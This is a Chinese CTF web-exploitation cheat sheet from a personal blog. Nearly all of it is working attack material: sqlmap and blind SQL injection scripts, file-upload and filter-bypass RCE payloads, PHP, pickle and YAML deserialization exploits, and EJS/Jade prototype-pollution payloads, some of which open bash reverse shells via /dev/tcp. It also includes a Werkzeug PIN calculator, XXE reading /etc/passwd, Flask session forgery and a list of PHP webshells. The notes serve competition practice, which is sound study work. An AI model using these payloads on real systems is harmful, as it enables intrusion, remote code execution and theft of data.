Hi,聆听·彼岸



听说,你是我最遥不可及的梦。
What should I do?
What should I do?
I think I'm going to fall in love with myself.

NSLS

发表于 2023-08-17| 分类于 笔记 | | 评论数

CTF

不知道干嘛的时候就用dirsearch扫,有奇效
sqlmap扫的时候扫不出来可以试试提高level和risk
反序列化之类有代码的远程无法调试就先在本地调试好再远程
当cat和echo这些被过滤得很严重时,可以用cp命令把flag文件复制为txt文件,直接浏览器访问,这也是一种很好的方法

HTTP

User-Agent:(指用户访问的浏览器类型)
Referer:(告诉服务器我是从哪个页面链接过来的)
Cookie:(表示请求者的身份)
Date: 可以从response中复制格式
X-forwarded-for:(告诉服务器我的IP)
X-Forwarded-Host:127.0.0.1
X-Client-IP:127.0.0.1
X-remote-IP:127.0.0.1
X-remote-addr:127.0.0.1
True-Client-IP:127.0.0.1
X-Client-IP:127.0.0.1
Client-IP:127.0.0.1
X-Real-IP:127.0.0.1
Accept-Language:(能够接受的语言)
自定义的字段

302跳转
可以用curl,但是更建议用burp,因为有时候不能用curl,用浏览器抓包会漏

curl -v http://example.com

详细用法

SQL注入

一般比较简单的都用sqlmap扫了
sqlmap

sqlmap -u "含注入点的url" --cookie "cookie" --data "post数据" --second-url="url,若注入点和回显点不在同一页面,使用此参数设置回显点" --proxy="自定义代理" 
sqlmap -u "http://target.com/*" --cookie="[站点cookie]" #指定注入点
sqlmap -u "[目标注入点]" --cookie="[站点cookie]" --dbs
sqlmap -u "[目标注入点]" --cookie="[站点cookie]" -D [数据库名] --tables
sqlmap -u "[目标注入点]" --cookie="[站点cookie]" -D [数据库名] -T [表名] --dump
sqlmap -u "[目标注入点]" --cookie="[站点cookie]" -D [数据库名] -T [表名] --columns
sqlmap -u "[目标注入点]" --cookie="[站点cookie]" -D [数据库名] -T [表名] -C[列名],[列名] --dump
--batch #使用默认选项
--tamper #绕过"space2comment" 将空格替换成注释(可以使用各种替换模板来绕过过滤),还有base64encode、equaltolike、charencode、ramdomcomments、randomcase等模板
--level
1,默认
2,cookie注入
3.refer注入
4,UA注入
5.HTTP host
--risk=1 #可选1到3(注入时可能会目标服务器造成影响,1没有风险,2会进行时间盲注这类语句,会造成服务器卡顿等影响服务器正常业务,3可能会修改服务器数据,风险较大),默认1,一般1,极限3
--file-read=/opt/lampp/htdocs/php.ini # 读取文件
--file-write //要写入的文件 # 写入文件
--file-dest //写入文件存放的路径 # 写入文件
--os-shell # 进shell

tamper模板
比较有趣的是时间盲注和布尔盲注,还有堆叠注入,以及各种绕过姿势

万能密码

username=admin%27+or+1%3D1--%2B&password=admin%27+or+1%3D1--%2B

数据库写入木马
SHOW VARIABLES LIKE “secure_file_priv”
SELECT “
INTO OUTFILE ‘/tmp/test.php’

mysql预处理绕过

1';PREPARE test from concat('s','elect','* from `1919810931114514`');EXECUTE test;#

sql盲注脚本

import urllib.parse
import requests
import time
import base64
url="http://61.147.171.105:51255/use.php?url="
flag=""
for pos in range(1,50):
for i in range(33,127):
#poc="') union select 1,2,if(1=1,sleep(5),1) # "

#security
#poc="') union select 1,2,if(ascii( substr((database()),"+str(pos)+",1) )="+str(i)+",sleep(2),1) # "

#flag
#poc="') union select 1,2,if(ascii( substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),"+str(pos)+",1) )="+str(i)+",sleep(2),1) # "

poc="') union select 1,2,if(ascii( substr((select * from flag),"+str(pos)+",1) )="+str(i)+",sleep(3),1) # "

bs = str(base64.b64encode(poc.encode("utf-8")), "utf-8")
final_poc="gopher://127.0.0.1:80/_GET%20%2findex.php%20HTTP%2f1.1%250d%250aHost%3A%20localhost%3A80%250d%250aConnection%3A%20close%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250aCookie%3A%20this%5Fis%5Fyour%5Fcookie%3D"+bs+"%3B%250d%250a"
t1=time.time()
res=requests.get(url+final_poc)
t2=time.time()
if(t2-t1>3):
flag+=chr(i)
print(flag)
break
print(flag)

进阶

文件上传

文件上传类型很多

图片马生成命令

copy 1.jpg/b+2.php 3.jpg

网络上的图片马https://s1.ax1x.com/2023/03/27/ppyNpLR.png

.htaccess

<FilesMatch "正则表达式/文件名">
SetHandler application/x-httpd-php
</FilesMatch>

.user.ini

auto_prepend_file=a.jpg

短标签

httpd.conf

不会就在这里找
uploads21关

黑名单绕过之黑魔法

windows和linux上都行得通的方法:
在操作系统中,都是禁止使用/作为文件名的,但是不知道为什么后面加一个.就可以成功的写入1.php了。
比如
shell.php/.
URL编码
shell%2Ephp%2F%2E

过滤了<?
<script language="pHp"> @eval($_POST['ant']);phpinfo();</script>

条件竞争

文件包含

文件包含的绕过姿势

php://input
可以在post体传入php命令执行

php://filter
可以以编码读取文件,编码绕过
php://filter/read=convert.base64-encode/resource=/var/www/html/flag
php://filter/read=convert.base64-encode/resource=flag
php://filter//convert.iconv.SJIS*.UCS-4*/resource=flag.php


data://伪协议data:text/plain,<?php system('dir'); ?>

LD_PRELOAD
shellshock
Apache Mod CGI
PHP-FPM
GC UAF
Json Serializer UAF
Backtrace UAF
蚁剑有bypass disable functions的插件

命令执行

命令执行的绕过
fuzz脚本

import requests
dictory=["`","~","!","@","#","$","%","^","&","*","(",")","-","_","=","+","[","]","{","}","|","\\",";",":","'","\"",",",".","<",">","/","?"," ","&&","||","<>"]
sesssion = requests.session()
for i in range(0,len(dictory)-1):
response = sesssion.get("http://61.147.171.105:62607/index.php?url="+dictory[i])
if "Invalid URL" not in response.text:
print(dictory[i])

php sessionid绕过

POST command=session_start();system(session_id());

Cookie PHPSESSID=tac${IFS}flag.php

有一个极不常见的读取文件的命令nl
绕过总结

自增无字母数字rce

过滤了.和()

code=echo `$_POST[1]`;&1=cat /f*

禁用了字母数字和很多符号,可以用的符号有’$_;+

if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){}
自增
看上面或者
//php
<?php
$_=[].'';//Array
$_=$_[''=='$'];//A
$____='_';//_
$__=$_;//A
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//P
$____.=$__;//_P
$__=$_;//A
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//O
$____.=$__;//_PO
$__=$_;//A
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//S
$____.=$__;//_POS
$__=$_;//A
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//T
$____.=$__;//_POST
$_=$____;//_POST

$$_[__]($$_[_]);//$_POST[__]($_POST[_]);

ctf_show=%24%5F%3D%5B%5D%2E%27%27%3B%24%5F%3D%24%5F%5B%27%27%3D%3D%27%24%27%5D%3B%24%5F%5F%5F%5F%3D%27%5F%27%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%3D%24%5F%5F%5F%5F%3B%24%24%5F%5B%5F%5F%5D%28%24%24%5F%5B%5F%5D%29%3B&__=system&_=cat /f1agaaa

限制长度

ctf_show=$%ff=(0/0);$%ff.=_;$%ff=$%ff[0];$%ff%2b%2b;$%fd=$%ff%2b%2b;$%fe=$%ff%2b%2b;$%ff%2b%2b;$%ff%2b%2b;$%fc=$%ff%2b%2b;$%fb=$%ff;$_=_;$_.=$%fe.$%fd.$%fc.$%fb;$$_[0]($$_[1]);&0=system&1=cat /f1agaaa

ctf_show=$%ff=(_/_._)[0];$%fe=%2b%2b$%ff;$%fe=%2b%2b$%ff.$%fe;$%ff%2b%2b;$%ff%2b%2b;$%fe.=%2b%2b$%ff;$%fe.=%2b%2b$%ff;$_=_.$%fe;$$_[0]($$_[_]);&0=system&_=cat /f1agaaa

ctf_show=$%ff=_(%ff/%ff)[%ff];$_=%2b%2b$%ff;$_=_.%2b%2b$%ff.$_;$%ff%2b%2b;$%ff%2b%2b;$_.=%2b%2b$%ff.%2b%2b$%ff;$$_[_]($$_[%ff]);&_=system&%ff=cat /f1agaaa

ctf_show=$%ff=_(%ff/%ff)[%ff];%2b%2b$%ff;$_=$%ff.$%ff%2b%2b;$%ff%2b%2b;$%ff%2b%2b;$_=_.$_.%2b%2b$%ff.%2b%2b$%ff;$$_[%ff]($$_[_]);&%ff=system&_=cat /f1agaaa

ctf_show=$_=_(%ff/%ff)[_];$%ff=%2b%2b$_;$$%ff[$%ff=_.%2b%2b$_.$%ff[$_%2b%2b/$_%2b%2b].%2b%2b$_.%2b%2b$_]($$%ff[_]);&_POST=system&_=cat /f1agaaa


参考ctf-show

禁用了下划线|\_|

//有个php特性就是传入特殊字符的话是可以变成_的,比如空格以及加号,这里用空格来做。
PAyload:show root=-e9999999999>>>>abcphp@Rsr

命令执行函数

print_r(scandir("/"));//PHP读取目录
var_dump(scandir('/'));
echo(file_get_contents("file:///flag"));//PHP读取文件
echo(`cat<flagggg`);//
import os
os.system("ls")# 无回显
output = os.popen("ls -l")
print(output.read())

import subprocess
output = subprocess.run("ls -l", capture_output=True, shell=True)
print(output.stdout.decode())
# 执行命令并获取输出结果
output = subprocess.check_output(args, shell=True)

# 输出结果为字节字符串,可以根据需要进行解码
decoded_output = output.decode('utf-8')

# 打印输出结果
print(decoded_output)

无参数RCE

// 形如这个正则表达式
if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])){}

// 可利用函数搜集,太懒了,看下面的payload吧
show_source()
end()
next()
prev()
reset()
each()
chdir()
getcwd()
dirname()
array_flip()
array_rand()
readfile()
getenv()
hex2bin()


// payload
system(next(getallheaders()));
print_r(scandir(pos(localeconv()))); #查看当前目录下的文件,pos()函数可以替换为current()函数,一个意思
print_r(array_rand(array_flip(scandir(pos(localeconv()))))); #露出数组中文件的名字,方便用函数读取,原理就是随机生成键并反转,让名字暴露出来
file_get_contents();file();readfile();highlight_file();show_source(); #读取文件,都可以试试
eval(end(current(get_defined_vars())));&b=phpinfo(); # 进行命令执行输入
eval(hex2bin(session_id(session_start()))) # 用 http headers头部的 session的函数获取 flag
pos(localeconv());strrev(crypt(serialize(array()))) # 点号
highlight_file(next(array_reverse(scandir("."))));
eval(array_pop(next(get_defined_vars())));
c=session_start();system(session_id());
c=show_source(session_id(session_start()));
print_r(scandir(current(localeconv())));
print_r(scandir(chr(ord(hebrevc(crypt(time())))))); # 多试几次。
show_source(end(scandir(getcwd())));
// 获取绝对路径可用的有getcwd()和realpath('.')
readfile(array_rand(array_flip(scandir(getcwd())))); # 读取文件
readfile(array_rand(array_flip(scandir(current(localeconve())))));
?var=eval(hex2bin(session_id(session_start())));

命令执行的解题技巧

反序列化

PHP反序列化

urlencode避免浏览器解析不可见字符
当序列化字符串中属性值个数大于属性个数,就会导致反序列化异常,从而跳过__wakeup__()。
即O:4:”Name”:2:{s换成O:4:”Name”:3:{s

O:+4:”test”:1:{s:1:”a”;s:3:”aaa”;}
O:4:”test”:1:{s:1:”a”;s:3:”aaa”;}
两者结果相同

强制对象销毁
把对象放进 Array,并用相同的 key 覆盖掉这个对象,即可强迫唤起 __destruct()
Array(‘key1’ => classA, ‘key1’ => classB)

使用 S 的序列化格式,则可以将字串内容改用 hex 表示
s:5:”AB“;̀ => S:5:”A\00B\09\0D”;
绕 WAF

反序列化字符串逃逸,以;}分割,要保证s与字符串长度相等

#字符串逃逸计算,字符增加

base="di_shi_san_qiang"
rebase="Unrepentant_Lethality"
end='";s:11:"Spear_Owner";s:6:"MaoLei";}'
base1=""
rebase1=""

print(len(base),len(rebase),len(end))
for i in range(10):
base1=base1+base
rebase1=rebase1+rebase
count1 = len(base1+end)
count2 = len(rebase1)
if count1==count2:
print(base1+end)
break

强比较可以用引用绕过

$a = new BUU();
$a->input = &$a->correct;
$a = serialize($a);
$a = urlencode($a);
echo($a);

phar 文件会将使用者自定义的 metadata 以序列化形式保存
透过 phar:// 伪协议可以达到反序列化的效果
常见影响函数: file_get_contents(), file_exists(), is_dir(), …
透过 phar 触发反序列化时,文件名要有后缀名(任意后缀都行)
(还没有过多研究,须自行百度)

PHP反序列化难点在于触发函数,目前已知触发方式
__destruct: 脚本结束前自动触发,垃圾回收机制触发,即取消掉引用计数Array(0->tt,0->6),$s = str_replace(“i:1;i:114514;”, “i:0;i:114514;”, $s);
__invoke: 对象被当做函数调用时触发,即class(arg)
__toString: echo时会触发,name==”666”弱类型比较时会触发
__call: 调用不存在的方法时会触发,即$this->ext->nisa($this->x);nisa是undefined的
__wakeup: 反序列化自动触发,和destruct的触发难度差不多

Python反序列化

pickle反序列化

S : 后面跟的是字符串
( :作为命令执行到哪里的一个标记
t :将从 t 到标记的全部元素组合成一个元祖,然后放入栈中
c :定义模块名和类名(模块名和类名之间使用回车分隔)
R :从栈中取出可调用函数以及元祖形式的参数来执行,并把结果放回栈中
. :点号是结束符

常用poc

# b指令
import pickle

class Student():
a = 'asd'
b = 123

payload = b'''c__main__
Student
)\x81}(V__setstate__
cos
system
ubVwhoami
b.'''

pickle.loads(payload)

# R指令
b'''cos
system
(Vwhoami
tR.'''

b'''cos
system
(S"whoami"
tR.
'''

# i指令
b'''(S"whoami"
ios
system
.'''

# o指令
b'''(cos
system
S'whoami'
o.'''

# pker
getattr=GLOBAL('builtins','getattr') # getattr = builtins.getattr
dict=GLOBAL('builtins','dict') # dict = builtins.dict
dict_get=getattr(dict,'get') # 取get方法
glo_dic=GLOBAL('builtins','globals')() #
builtins=dict_get(glo_dic,'builtins') #
eval=getattr(builtins,'eval') #
eval('print("123")') #
return
# https://xz.aliyun.com/t/7436#toc-17

# ycb
b'''(S'raise Exception(__import__("os").popen('ls -l /flag').read())'
i__builtin__
exec
.'''

反序列化流程
参考文章1
参考文章2
参考文章3

Java反序列化

工具ysoserial

docker run --rm [ysoserial容器] [模块] [命令] | base64
# base64解码
base64 -d str/file

yaml反序列化

贴几个通用poc

!!python/object/apply:os.system ["calc.exe"]
!!python/object/new:os.system ["calc.exe"]
!!python/object/new:subprocess.check_output [["calc.exe"]]
!!python/object/apply:subprocess.check_output [["calc.exe"]]

高版本

data = b"""!!python/object/apply:subprocess.Popen
- calc"""
deserialized_data = unsafe_load(data)

data = b"""!!python/object/apply:subprocess.Popen
- calc"""
deserialized_data = load(data, Loader=Loader)

SSTI模板注入

麻总fenjing,外加一堆payload
找注入点,可能是?a=,?name=,?id=,或者直接就在路径,其他地方一般会给源码分析出来,
Fenjing命令

python -m fenjing scan --url 'http://xxx/' #网页有表单的
python -m fenjing crack --url http://node5.anna.nssctf.cn:28144 --inputs name --method POST --action "/get_flag" #get和post的
python -m fenjing crack-path --url 'http://xxx/hello/' #对路径的http://xxx.xxx/hello/<payload>

手动打的话,可能会出现这种情况[,,,,]这是因为尖括号被浏览器解析了

payload大全

js原型链污染

要小心符号被URL编码,最好用bp做题
看到express中间件大概率是原型链污染,看看有没有/app.js

function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)

绕过
使用constructor.prototype

ejs原型链污染
指纹1res.render('views/page.ejs', req.query);

payload='{"__proto__":{"outputFunctionName":"x;process.mainModule.require(\'child_process\').exec(\'calc\');x"}}'

指纹2lodash等(Lodash的原型链污染+EJS组合,lodash<4.17.17)

# express-validator
重要的点就是当传入的键中存在. ,则会在字符两边加上[" "],并且最终返回的是一个字符串形式的结果。
payload={"a": {"__proto__": {"test": "testvalue"}}, "a\"].__proto__[\"test": 222}

https://boogipop.com/2023/08/28/NSSCTF%202nd%20Writeup/
https://evi0s.com/2019/08/30/expresslodashejs-%e4%bb%8e%e5%8e%9f%e5%9e%8b%e9%93%be%e6%b1%a1%e6%9f%93%e5%88%b0rce/
https://marven11.github.io/CTFDailyLogs/#/page/ctf%2Fwp%2F%E5%AE%89%E6%B4%B5%E6%9D%AF%202020%20validator?anchor=ls-block-64ec2344-3d84-4bbf-8479-9fadcf2f3260
global.process.mainModule.constructor._load('child_process').execSync('whoami');

Function(query)(query)

{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/IP/端口 0>&1\"')"}}
ejs escape="""\
function escapeXMLToString() {
return Function.prototype.tostring.call(this) + ';\\n' + escapeFuncStr;
}
console.log('114514ejs');
process.mainModule.require('child_process').execSync(CMD);
\
""".replace("CMD"repr(reverse_shell_payload))
url="http://f63b9588-d130-496d-ae65-b4578c85ca39.node4.buuoj.cn:81/"
r = base_post(url, json = {
"msg": {
"__proto__": {
"settings": {
"view options": {
"client": "1",
"escape": "ejs_escape",
}
}
}
},
"trickwaf%00%%%": 114514
})
print(r.text)

jade RCE链的payload

针对普通的模板:只需要污染self和line.

包括下面这种

h1 #{title}
p Welcome to #{title}

{"__proto__":{"self":"true","line":"2,jade_debug[0].filename));return global.process.mainModule.require(\'child_process\').exec(\'calc\')//"}}
{"__proto__":{"self":1,"line":"global.process.mainModule.require(\'child_process\').exec(\'calc\')"}}

有继承的模板: 需要污染type

{"__proto__":{"__proto__":{"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('calc')"}}}

顶格的h= title类型的: 污染block属性(title,name这些模板变量)

h1= title
p hello #{name}
{"__proto__":{"title":"test","self":1,"line":"global.process.mainModule.require('child_process').exec('calc')"}}
{"__proto__":{"__proto__": {"title":"test","type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/810>&1\"')"}}}

Nodejs语言缺点
nodejs 会把同名参数以数组的形式存储,并且 JSON.parse 可以正常解析。
大小写特性
弱类型比较
MD5的绕过
编码绕过
nodejs危险函数的利用
nodejs危险函数-RCE bypass
字符拼接:
编码绕过:
模板拼接:
nodejs总结

python原型链污染

受害函数示例

def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

payload = {
"__class__" : {
"__base__" : {
"secret" : "no way"
}
}
}
print(son_a.secret)
#haha
print(instance.secret)
#haha
merge(payload, instance)
print(son_a.secret)
#no way
print(instance.secret)
#no way

# 污染全局变量
payload = {
"__class__": {
"__init__": {
"__globals__": {
"secret": "1919810"
}
}
}
}
# https://tttang.com/archive/1876/

SSRF

打入内网的各个协议

gopher编码脚本,要根据实际情况修改,总的来说就是gopher://127.0.0.1:80/_加编码后的请求体
POST

import urllib.parse as u

file = "gopher" # input("Please input filename: ")
with open(file,"r") as f:
txt = f.read()
txt = u.quote(txt).replace("%0A","%0D%0A")
txt = txt.replace("%0D%0D%0A","%0D%0A")
txt = u.quote(txt)
txt = u.quote(txt)
print("gopher://127.0.0.1:80/_"+txt)

FPM

import urllib.parse as u

txt = input("Please input gopher: ").replace("gopher://127.0.0.1:9000/_","")
txt = txt.replace("%0A","%0D").replace("%2F","/")
txt = u.quote(txt)
print("\n\n")
print("gopher://127.0.0.1:9000/_"+txt)

redis

import urllib.parse as u

txt = input("Please input gopher: ")#.replace("gopher://127.0.0.1:6379/_","")
# txt = txt.replace("%0A","%0D").replace("%2F","/")
txt = u.quote(txt)
print("\n\n")
#print("gopher://127.0.0.1:6379/_"+txt)
print(txt)

也可以用大神工具

gopherus --exploit mysql      
--exploit postgresql
--exploit fastcgi
--exploit redis
--exploit zabbix
--exploit pymemcache
--exploit rbmemcache
--exploit phpmemcache
--exploit dmpmemcache
--exploit smtp

php 的curl里的CURLOPT_SAFE_UPLOAD 如果加上@的话,会当成绝对路径,来读取文件

XXE注入

实体注入和盲注

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<data><ID>&xxe;</ID></data>

XSS

反射型

存储型(持久型)

DOM型

靶场
靶场WP
工具XSStrike

弱类型比较

"21a"==21
"asdsbja"==0
?val1[]=1&val2[]=2 // 数组绕过,加密数组的时候会返回NULL
// 科学计数法绕过
byGcY
0e591948146966052067035298880982
QNKCDZO
0e830400451993494058024219903391
240610708
0e462097431906509019562988736854
// 数组绕过
key3[]=0
if(strcmp($_GET['key4'],file_get_contents("/flag")) == 0){}
key4[]=0a

// %0a绕过
if($_GET["key"]!=="123" && preg_match('/^123$/',$_GET['key'])){

}
GET ?key=123%0a

PHP的$GET函数会自动将[.和空格转为_

// 一种特殊情况
// GET或POST方式传参时,变量名中的 [ 也会被替换为_,但其后的字符就不再进行替换了
e[v.a.l=echo("well");
// 得到
e_v.a.l


// PCRE回溯次数限制绕过
// 回溯次数上限默认是100万,当匹配字符串过大超过了回溯次数时,preg_match会直接返回false,如
<?php
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}

if(!is_php($input)) {
// fwrite($f, $input); ...
}
?>
// 解
import requests
from io import BytesIO

files = {
'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}

res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False)
print(res.headers)

call_user_func_array可以调用函数,第一个参数是函数名,显然method的值为函数名,第二个参数是作为回调函数的参数列表
preg_replace($pattern, $replacement, $subject)函数将subject中匹配到的replacement用pattern替换,如果启用/e参数的话,就会将replacement当做php代码执行。

信息泄露

源码泄露

Git 源码泄露
hg 源码泄露
SVN 泄露
.DS_Store 文件泄露
备份文件
.index.php.swp
.index.php.bak
这些一般用dirsearch一扫就出来了

  • Git stash

  • 在开发程序时,如果需要放下手头已经修改的文件,去紧急修复 Bug,可以使用 git stash 来暂存文件。

  • 也就是说,可能会有代码暂存在 stash 中,造成代码泄漏

    git stash list
    git stash pop
    git stash apply
  • Git Log

    git log --reflog
  • Git Diff

    git diff HEAD
    git diff HEAD^
    git diff <hashcode>

还可以看看xmind的脑图总结
不常用的源码泄露工具,建议docker -rm

WEB-INF 目录泄露
WEB-INF是Java的WEB应用的安全目录。详情戳

filename=/WEB-INF/web.xml
filename=/WEB-INF/classes/com/wm/ctf/FlagController.class

java反编译网站

php小于7.4.21源码泄露漏洞

php -s url开启服务器时
burp关掉自动更新content-length

GET /p0p.php HTTP/1.1
Host: tcp.cloud.dasctf.com:250992


GET / HTTP/1.1


---

详见https://cloud.tencent.com/developer/article/2235691?areaSource=102001.19&traceId=v7NkiD6n3ayV0fqCnC9ml

flask

pin码rce

当flask开启debug的时候可以用任意文件读取漏洞计算pin码进入控制台从而rce
引用麻总笔记

数据收集

probably_public_bits = [
'root'# 用户名
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/home/user/.local/lib/python3.10/site-packages/flask/app.py' # app.py文件路径,
]

private_bits = [
'95535655936',# str(uuid.getnode()), /sys/class/net/ens33/address,str(int("02:42:ac:02:2a:80".replace(":", ""), 16))
'2c2781498c424bcf86b4d5aa3c0d27faapp-glib-codium-1239.scope'# /etc/machine-id的内容(/proc/sys/kernel/random/boot_id)+/proc/self/cgroup的结尾
]

不带参数访问 /view ,进入错误界面,看到模块地址为/usr/local/lib/python3.8/site-packages/flask/app.py

  • 爆破/proc/{i}/environ可知可以读取pid为14,17,19的环境
  • 读取/proc/14/environ可知用户名为app
  • 读取/proc/14/cpuset可知某个控制组为/docker/dcddc01b2cc5deb5f183ef8a3af12770f1191c04ea53542256866fa5c5569ec3
  • 读取/sys/class/net/eth0/address可知mac地址为02:42:ac:02:05:32

新脚本只是把h = hashlib.md5()改为h = hashlib.sha1(),可以读取site-packages/werkzeug/debug/__init__.py搜索看看是新版还是旧版

旧版脚本

import hashlib
from itertools import chain
probably_public_bits = [
'root',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
'2485377892354',# str(uuid.getnode()), /sys/class/net/ens33/address
'32e48d371198e8420c53b0a1fa37e94ddcddc01b2cc5deb5f183ef8a3af12770f1191c04ea53542256866fa5c5569ec3'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

新版脚本

import hashlib
from itertools import chain
probably_public_bits = [
'root',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
'2485377892354',# str(uuid.getnode()), /sys/class/net/ens33/address
'32e48d371198e8420c53b0a1fa37e94ddcddc01b2cc5deb5f183ef8a3af12770f1191c04ea53542256866fa5c5569ec3'# get_machine_id(), /etc/machine-id
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{h.hexdigest()[:20]}"

# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num

print(rv)

session伪造

伪造工具

和jwt很像,但是不一样,jwt用jwt.io解码,用c-jwt-cracker爆破,flask的session不能用jwt的解法

session encode

flask-unsign --sign --secret 'SuperDuperSecureSecretKey1234!' --cookie "{'_fresh': True,'_id': 'f4a4143536f3e6712e19e6ce901a12f1ff7e8c98d04dd3e41c746e85093b48a1bfaa93650d1759a0cb7f13cba57b7f96e40ed981f0c49af1cb94f9905ee1dd03','_user_id': '1','name': '{{ self.__init__.__globals__.__builtins__.__import__(\'os\').popen(\'cat /home/ctf/flag.txt\').read() }}'}"
python{2,3} flask_session_cookie_manager{2,3}.py encode -s '.{y]tR&sp&77RdO~u3@XAh#TalD@Oh~yOF_51H(QV};K|ghT^d' -t '{"number":"326410031505","username":"admin"}'

session decode网站

密码口令

弱密码,默认密码
admin,admin123,123456

Webshell

<?php system($_GET["cmd"]); ?>
<?php system($_GET[1]); ?>
<?php system("`$_GET[1]`"); ?>
<?= system($_GET[cmd]);
<?=`$_GET[1]`;
<?php eval($_POST[cmd]);?>
<?php echo `$_GET[1]`;
<?php echo passthru($_GET['cmd']);
<?php echo shell_exec($_GET['cmd']);
<?php eval(str_rot13('riny($_CBFG[cntr]);'));?>
